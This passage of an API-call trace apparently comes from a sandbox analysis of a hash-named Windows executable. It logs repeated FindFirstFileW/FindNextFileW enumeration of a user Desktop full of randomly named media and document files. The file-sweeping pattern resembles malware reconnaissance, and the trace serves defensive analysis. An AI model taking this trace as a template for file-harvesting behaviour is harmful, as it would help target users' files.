lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d13d90, ftCreationTime.dwHighDateTime=0x1d8b123, ftLastAccessTime.dwLowDateTime=0x68cedca0, ftLastAccessTime.dwHighDateTime=0x1d8b48f, ftLastWriteTime.dwLowDateTime=0x68cedca0, ftLastWriteTime.dwHighDateTime=0x1d8b48f, nFileSizeHigh=0x0, nFileSizeLow=0xab96, dwReserved0=0x0, dwReserved1=0x0, cFileName="2ZQo8G.bmp", cAlternateFileName="")) returned 1 [0149.543] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe35870, ftCreationTime.dwHighDateTime=0x1d8b196, ftLastAccessTime.dwLowDateTime=0x3ef9fa10, ftLastAccessTime.dwHighDateTime=0x1d8bdc0, ftLastWriteTime.dwLowDateTime=0x3ef9fa10, ftLastWriteTime.dwHighDateTime=0x1d8bdc0, nFileSizeHigh=0x0, nFileSizeLow=0xd105, dwReserved0=0x0, dwReserved1=0x0, cFileName="4HElM.gif", cAlternateFileName="")) returned 1 [0149.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a96be0, ftCreationTime.dwHighDateTime=0x1d8b5e0, ftLastAccessTime.dwLowDateTime=0x21e6c330, ftLastAccessTime.dwHighDateTime=0x1d8ba24, ftLastWriteTime.dwLowDateTime=0x21e6c330, ftLastWriteTime.dwHighDateTime=0x1d8ba24, nFileSizeHigh=0x0, nFileSizeLow=0xda2, dwReserved0=0x0, dwReserved1=0x0, cFileName="83KGSdXYCQM.wav", cAlternateFileName="83KGSD~1.WAV")) returned 1 [0149.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f0bdb0, ftCreationTime.dwHighDateTime=0x1d8b322, ftLastAccessTime.dwLowDateTime=0x98193720, ftLastAccessTime.dwHighDateTime=0x1d8be9a, ftLastWriteTime.dwLowDateTime=0x98193720, ftLastWriteTime.dwHighDateTime=0x1d8be9a, nFileSizeHigh=0x0, nFileSizeLow=0x1925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bal3e5C7U69smuEjSf.wav", cAlternateFileName="BAL3E5~1.WAV")) returned 1 [0149.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64642c0, ftCreationTime.dwHighDateTime=0x1d8bf26, ftLastAccessTime.dwLowDateTime=0x507135f0, ftLastAccessTime.dwHighDateTime=0x1d8c046, ftLastWriteTime.dwLowDateTime=0x507135f0, ftLastWriteTime.dwHighDateTime=0x1d8c046, nFileSizeHigh=0x0, nFileSizeLow=0x14a05, dwReserved0=0x0, dwReserved1=0x0, cFileName="bhV2.avi", cAlternateFileName="")) returned 1 [0149.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c02f30, ftCreationTime.dwHighDateTime=0x1d8b5bc, ftLastAccessTime.dwLowDateTime=0xbdf8ab70, ftLastAccessTime.dwHighDateTime=0x1d8b8bd, ftLastWriteTime.dwLowDateTime=0xbdf8ab70, ftLastWriteTime.dwHighDateTime=0x1d8b8bd, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ct OA.m4a", cAlternateFileName="CTOA~1.M4A")) returned 1 [0149.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f4f660, ftCreationTime.dwHighDateTime=0x1d8b3d7, ftLastAccessTime.dwLowDateTime=0x7583630, ftLastAccessTime.dwHighDateTime=0x1d8b90b, ftLastWriteTime.dwLowDateTime=0x7583630, ftLastWriteTime.dwHighDateTime=0x1d8b90b, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcW LT.gif", cAlternateFileName="DCWLT~1.GIF")) returned 1 [0149.544] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f4710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324b10, ftCreationTime.dwHighDateTime=0x1d8bd48, ftLastAccessTime.dwLowDateTime=0x3b071750, ftLastAccessTime.dwHighDateTime=0x1d8beb8, ftLastWriteTime.dwLowDateTime=0x3b071750, ftLastWriteTime.dwHighDateTime=0x1d8beb8, nFileSizeHigh=0x0, nFileSizeLow=0x10dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="dkq_7EpHIg.doc", cAlternateFileName="DKQ_7E~1.DOC")) returned 1 [0149.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fa900, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x91fa900, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x48420000, ftLastWriteTime.dwHighDateTime=0x1d8ce9a, nFileSizeHigh=0x0, nFileSizeLow=0x4f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", cAlternateFileName="FC61C3~1.EXE")) returned 1 [0149.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48268520, ftCreationTime.dwHighDateTime=0x1d8b6a6, ftLastAccessTime.dwLowDateTime=0x4b696570, ftLastAccessTime.dwHighDateTime=0x1d8bd88, ftLastWriteTime.dwLowDateTime=0x4b696570, ftLastWriteTime.dwHighDateTime=0x1d8bd88, nFileSizeHigh=0x0, nFileSizeLow=0x6306, dwReserved0=0x0, dwReserved1=0x0, cFileName="fDk9ceFWkerl.mkv", cAlternateFileName="FDK9CE~1.MKV")) returned 1 [0149.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ef66dc0, ftCreationTime.dwHighDateTime=0x1d8b79d, ftLastAccessTime.dwLowDateTime=0xf3151c40, ftLastAccessTime.dwHighDateTime=0x1d8baba, ftLastWriteTime.dwLowDateTime=0xf3151c40, ftLastWriteTime.dwHighDateTime=0x1d8baba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRHtAG4s9qD-ME4UNQ5d", cAlternateFileName="GRHTAG~1")) returned 1 [0149.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88a32a50, ftCreationTime.dwHighDateTime=0x1d8bad3, ftLastAccessTime.dwLowDateTime=0x95687e90, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x95687e90, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x10538, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWPM.gif", cAlternateFileName="")) returned 1 [0149.545] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd020c470, ftCreationTime.dwHighDateTime=0x1d8ba09, ftLastAccessTime.dwLowDateTime=0x5c7cd330, ftLastAccessTime.dwHighDateTime=0x1d8be5d, ftLastWriteTime.dwLowDateTime=0x5c7cd330, ftLastWriteTime.dwHighDateTime=0x1d8be5d, nFileSizeHigh=0x0, nFileSizeLow=0x9fea, dwReserved0=0x0, dwReserved1=0x0, cFileName="k5kMGOvdN.mp3", cAlternateFileName="K5KMGO~1.MP3")) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7912ed0, ftCreationTime.dwHighDateTime=0x1d8b894, ftLastAccessTime.dwLowDateTime=0xbebc720, ftLastAccessTime.dwHighDateTime=0x1d8bac3, ftLastWriteTime.dwLowDateTime=0xbebc720, ftLastWriteTime.dwHighDateTime=0x1d8bac3, nFileSizeHigh=0x0, nFileSizeLow=0x160b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KGIQ_q.m4a", cAlternateFileName="")) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57de900, ftCreationTime.dwHighDateTime=0x1d8bfa2, ftLastAccessTime.dwLowDateTime=0x8262fd00, ftLastAccessTime.dwHighDateTime=0x1d8c07d, ftLastWriteTime.dwLowDateTime=0x8262fd00, ftLastWriteTime.dwHighDateTime=0x1d8c07d, nFileSizeHigh=0x0, nFileSizeLow=0x3836, dwReserved0=0x0, dwReserved1=0x0, cFileName="LlJ3.avi", cAlternateFileName="")) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3758f20, ftCreationTime.dwHighDateTime=0x1d8b5da, ftLastAccessTime.dwLowDateTime=0xb4a7cf00, ftLastAccessTime.dwHighDateTime=0x1d8bea4, ftLastWriteTime.dwLowDateTime=0xb4a7cf00, ftLastWriteTime.dwHighDateTime=0x1d8bea4, nFileSizeHigh=0x0, nFileSizeLow=0x7844, dwReserved0=0x0, dwReserved1=0x0, cFileName="orfsAO.odp", cAlternateFileName="")) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0c816e0, ftCreationTime.dwHighDateTime=0x1d8c0b9, ftLastAccessTime.dwLowDateTime=0x73f1530, ftLastAccessTime.dwHighDateTime=0x1d8c0e8, ftLastWriteTime.dwLowDateTime=0x73f1530, ftLastWriteTime.dwHighDateTime=0x1d8c0e8, nFileSizeHigh=0x0, nFileSizeLow=0x1031a, dwReserved0=0x0, dwReserved1=0x0, cFileName="p6u3.png", cAlternateFileName="")) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac7e00, ftCreationTime.dwHighDateTime=0x1d8b443, ftLastAccessTime.dwLowDateTime=0xbd782a10, ftLastAccessTime.dwHighDateTime=0x1d8bfbe, ftLastWriteTime.dwLowDateTime=0xbd782a10, ftLastWriteTime.dwHighDateTime=0x1d8bfbe, nFileSizeHigh=0x0, nFileSizeLow=0x11b23, dwReserved0=0x0, dwReserved1=0x0, cFileName="qPNadjyauA.gif", cAlternateFileName="QPNADJ~1.GIF")) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886c6bb0, ftCreationTime.dwHighDateTime=0x1d8b2f8, ftLastAccessTime.dwLowDateTime=0x271aed10, ftLastAccessTime.dwHighDateTime=0x1d8b8bf, ftLastWriteTime.dwLowDateTime=0x271aed10, ftLastWriteTime.dwHighDateTime=0x1d8b8bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rUCB3xQFyrda.avi", cAlternateFileName="RUCB3X~1.AVI")) returned 1 [0149.547] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d76ad0, ftCreationTime.dwHighDateTime=0x1d8b373, ftLastAccessTime.dwLowDateTime=0x27456f20, ftLastAccessTime.dwHighDateTime=0x1d8be07, ftLastWriteTime.dwLowDateTime=0x27456f20, ftLastWriteTime.dwHighDateTime=0x1d8be07, nFileSizeHigh=0x0, nFileSizeLow=0xec30, dwReserved0=0x0, dwReserved1=0x0, cFileName="s_b1FQ-e1i.swf", cAlternateFileName="S_B1FQ~1.SWF")) returned 1 [0149.547] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf811cc90, ftCreationTime.dwHighDateTime=0x1d8c012, ftLastAccessTime.dwLowDateTime=0x79874a40, ftLastAccessTime.dwHighDateTime=0x1d8c0b6, ftLastWriteTime.dwLowDateTime=0x79874a40, ftLastWriteTime.dwHighDateTime=0x1d8c0b6, nFileSizeHigh=0x0, nFileSizeLow=0xd7db, dwReserved0=0x0, dwReserved1=0x0, cFileName="tHdXe2-Gmf-Jn.m4a", cAlternateFileName="THDXE2~1.M4A")) returned 1 [0149.547] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bac91b0, ftCreationTime.dwHighDateTime=0x1d8b97e, ftLastAccessTime.dwLowDateTime=0x1a6ebdc0, ftLastAccessTime.dwHighDateTime=0x1d8ba1e, ftLastWriteTime.dwLowDateTime=0x1a6ebdc0, ftLastWriteTime.dwHighDateTime=0x1d8ba1e, nFileSizeHigh=0x0, nFileSizeLow=0x49b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UXGmU pGd2S4zNZsQ.jpg", cAlternateFileName="UXGMUP~1.JPG")) returned 1 [0149.547] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a7ed000, ftCreationTime.dwHighDateTime=0x1d8c0e5, ftLastAccessTime.dwLowDateTime=0x2c1421e0, ftLastAccessTime.dwHighDateTime=0x1d8c0ff, ftLastWriteTime.dwLowDateTime=0x2c1421e0, ftLastWriteTime.dwHighDateTime=0x1d8c0ff, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vIc6iFS.gif", cAlternateFileName="")) returned 1 [0149.547] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5ce9cb0, ftCreationTime.dwHighDateTime=0x1d8bfd2, ftLastAccessTime.dwLowDateTime=0x591eee70, ftLastAccessTime.dwHighDateTime=0x1d8c10b, ftLastWriteTime.dwLowDateTime=0x591eee70, ftLastWriteTime.dwHighDateTime=0x1d8c10b, nFileSizeHigh=0x0, nFileSizeLow=0x15273, dwReserved0=0x0, dwReserved1=0x0, cFileName="vX3drSBDihwq4r.wav", cAlternateFileName="VX3DRS~1.WAV")) returned 1 [0149.548] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6468b400, ftCreationTime.dwHighDateTime=0x1d8beae, ftLastAccessTime.dwLowDateTime=0x4dec0f60, ftLastAccessTime.dwHighDateTime=0x1d8bf4e, ftLastWriteTime.dwLowDateTime=0x4dec0f60, ftLastWriteTime.dwHighDateTime=0x1d8bf4e, nFileSizeHigh=0x0, nFileSizeLow=0x11918, dwReserved0=0x0, dwReserved1=0x0, cFileName="wfRmp.png", cAlternateFileName="")) returned 1 [0149.548] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3786c8f0, ftCreationTime.dwHighDateTime=0x1d8ba80, ftLastAccessTime.dwLowDateTime=0xf377cd70, ftLastAccessTime.dwHighDateTime=0x1d8bbb1, ftLastWriteTime.dwLowDateTime=0xf377cd70, ftLastWriteTime.dwHighDateTime=0x1d8bbb1, nFileSizeHigh=0x0, nFileSizeLow=0xcb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WkR38RGVQJakgoLnK--.swf", cAlternateFileName="WKR38R~1.SWF")) returned 1 [0149.548] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82be6e40, ftCreationTime.dwHighDateTime=0x1d8bd6e, ftLastAccessTime.dwLowDateTime=0xba5b4550, ftLastAccessTime.dwHighDateTime=0x1d8c050, ftLastWriteTime.dwLowDateTime=0xba5b4550, ftLastWriteTime.dwHighDateTime=0x1d8c050, nFileSizeHigh=0x0, nFileSizeLow=0x177e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yvuwp8ELWkBez.bmp", cAlternateFileName="YVUWP8~1.BMP")) returned 1 [0149.548] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82be6e40, ftCreationTime.dwHighDateTime=0x1d8bd6e, ftLastAccessTime.dwLowDateTime=0xba5b4550, ftLastAccessTime.dwHighDateTime=0x1d8c050, ftLastWriteTime.dwLowDateTime=0xba5b4550, ftLastWriteTime.dwHighDateTime=0x1d8c050, nFileSizeHigh=0x0, nFileSizeLow=0x177e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yvuwp8ELWkBez.bmp", cAlternateFileName="YVUWP8~1.BMP")) returned 0 [0149.548] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.549] SetErrorMode (uMode=0x0) returned 0x1 [0149.549] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0149.549] SetErrorMode (uMode=0x1) returned 0x0 [0149.549] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e1da180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x2e1da180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.550] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e1da180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x2e1da180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.550] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7185b0, ftCreationTime.dwHighDateTime=0x1d8b356, ftLastAccessTime.dwLowDateTime=0x1d6bafa0, ftLastAccessTime.dwHighDateTime=0x1d8b574, ftLastWriteTime.dwLowDateTime=0x1d6bafa0, ftLastWriteTime.dwHighDateTime=0x1d8b574, nFileSizeHigh=0x0, nFileSizeLow=0xb4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="2cv2SOe1 I9uauDzSR0.wav", cAlternateFileName="2CV2SO~1.WAV")) returned 1 [0149.550] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d13d90, ftCreationTime.dwHighDateTime=0x1d8b123, ftLastAccessTime.dwLowDateTime=0x68cedca0, ftLastAccessTime.dwHighDateTime=0x1d8b48f, ftLastWriteTime.dwLowDateTime=0x68cedca0, ftLastWriteTime.dwHighDateTime=0x1d8b48f, nFileSizeHigh=0x0, nFileSizeLow=0xab96, dwReserved0=0x0, dwReserved1=0x0, cFileName="2ZQo8G.bmp", cAlternateFileName="")) returned 1 [0149.550] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe35870, ftCreationTime.dwHighDateTime=0x1d8b196, ftLastAccessTime.dwLowDateTime=0x3ef9fa10, ftLastAccessTime.dwHighDateTime=0x1d8bdc0, ftLastWriteTime.dwLowDateTime=0x3ef9fa10, ftLastWriteTime.dwHighDateTime=0x1d8bdc0, nFileSizeHigh=0x0, nFileSizeLow=0xd105, dwReserved0=0x0, dwReserved1=0x0, cFileName="4HElM.gif", cAlternateFileName="")) returned 1 [0149.550] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a96be0, ftCreationTime.dwHighDateTime=0x1d8b5e0, ftLastAccessTime.dwLowDateTime=0x21e6c330, ftLastAccessTime.dwHighDateTime=0x1d8ba24, ftLastWriteTime.dwLowDateTime=0x21e6c330, ftLastWriteTime.dwHighDateTime=0x1d8ba24, nFileSizeHigh=0x0, nFileSizeLow=0xda2, dwReserved0=0x0, dwReserved1=0x0, cFileName="83KGSdXYCQM.wav", cAlternateFileName="83KGSD~1.WAV")) returned 1 [0149.551] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f0bdb0, ftCreationTime.dwHighDateTime=0x1d8b322, ftLastAccessTime.dwLowDateTime=0x98193720, ftLastAccessTime.dwHighDateTime=0x1d8be9a, ftLastWriteTime.dwLowDateTime=0x98193720, ftLastWriteTime.dwHighDateTime=0x1d8be9a, nFileSizeHigh=0x0, nFileSizeLow=0x1925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bal3e5C7U69smuEjSf.wav", cAlternateFileName="BAL3E5~1.WAV")) returned 1 [0149.551] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64642c0, ftCreationTime.dwHighDateTime=0x1d8bf26, ftLastAccessTime.dwLowDateTime=0x507135f0, ftLastAccessTime.dwHighDateTime=0x1d8c046, ftLastWriteTime.dwLowDateTime=0x507135f0, ftLastWriteTime.dwHighDateTime=0x1d8c046, nFileSizeHigh=0x0, nFileSizeLow=0x14a05, dwReserved0=0x0, dwReserved1=0x0, cFileName="bhV2.avi", cAlternateFileName="")) returned 1 [0149.551] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c02f30, ftCreationTime.dwHighDateTime=0x1d8b5bc, ftLastAccessTime.dwLowDateTime=0xbdf8ab70, ftLastAccessTime.dwHighDateTime=0x1d8b8bd, ftLastWriteTime.dwLowDateTime=0xbdf8ab70, ftLastWriteTime.dwHighDateTime=0x1d8b8bd, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ct OA.m4a", cAlternateFileName="CTOA~1.M4A")) returned 1 [0149.551] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f4f660, ftCreationTime.dwHighDateTime=0x1d8b3d7, ftLastAccessTime.dwLowDateTime=0x7583630, ftLastAccessTime.dwHighDateTime=0x1d8b90b, ftLastWriteTime.dwLowDateTime=0x7583630, ftLastWriteTime.dwHighDateTime=0x1d8b90b, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcW LT.gif", cAlternateFileName="DCWLT~1.GIF")) returned 1 [0149.551] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f4710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.551] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324b10, ftCreationTime.dwHighDateTime=0x1d8bd48, ftLastAccessTime.dwLowDateTime=0x3b071750, ftLastAccessTime.dwHighDateTime=0x1d8beb8, ftLastWriteTime.dwLowDateTime=0x3b071750, ftLastWriteTime.dwHighDateTime=0x1d8beb8, nFileSizeHigh=0x0, nFileSizeLow=0x10dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="dkq_7EpHIg.doc", cAlternateFileName="DKQ_7E~1.DOC")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fa900, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x91fa900, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x48420000, ftLastWriteTime.dwHighDateTime=0x1d8ce9a, nFileSizeHigh=0x0, nFileSizeLow=0x4f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe", cAlternateFileName="FC61C3~1.EXE")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48268520, ftCreationTime.dwHighDateTime=0x1d8b6a6, ftLastAccessTime.dwLowDateTime=0x4b696570, ftLastAccessTime.dwHighDateTime=0x1d8bd88, ftLastWriteTime.dwLowDateTime=0x4b696570, ftLastWriteTime.dwHighDateTime=0x1d8bd88, nFileSizeHigh=0x0, nFileSizeLow=0x6306, dwReserved0=0x0, dwReserved1=0x0, cFileName="fDk9ceFWkerl.mkv", cAlternateFileName="FDK9CE~1.MKV")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ef66dc0, ftCreationTime.dwHighDateTime=0x1d8b79d, ftLastAccessTime.dwLowDateTime=0xf3151c40, ftLastAccessTime.dwHighDateTime=0x1d8baba, ftLastWriteTime.dwLowDateTime=0xf3151c40, ftLastWriteTime.dwHighDateTime=0x1d8baba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRHtAG4s9qD-ME4UNQ5d", cAlternateFileName="GRHTAG~1")) returned 1 [0149.552] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: 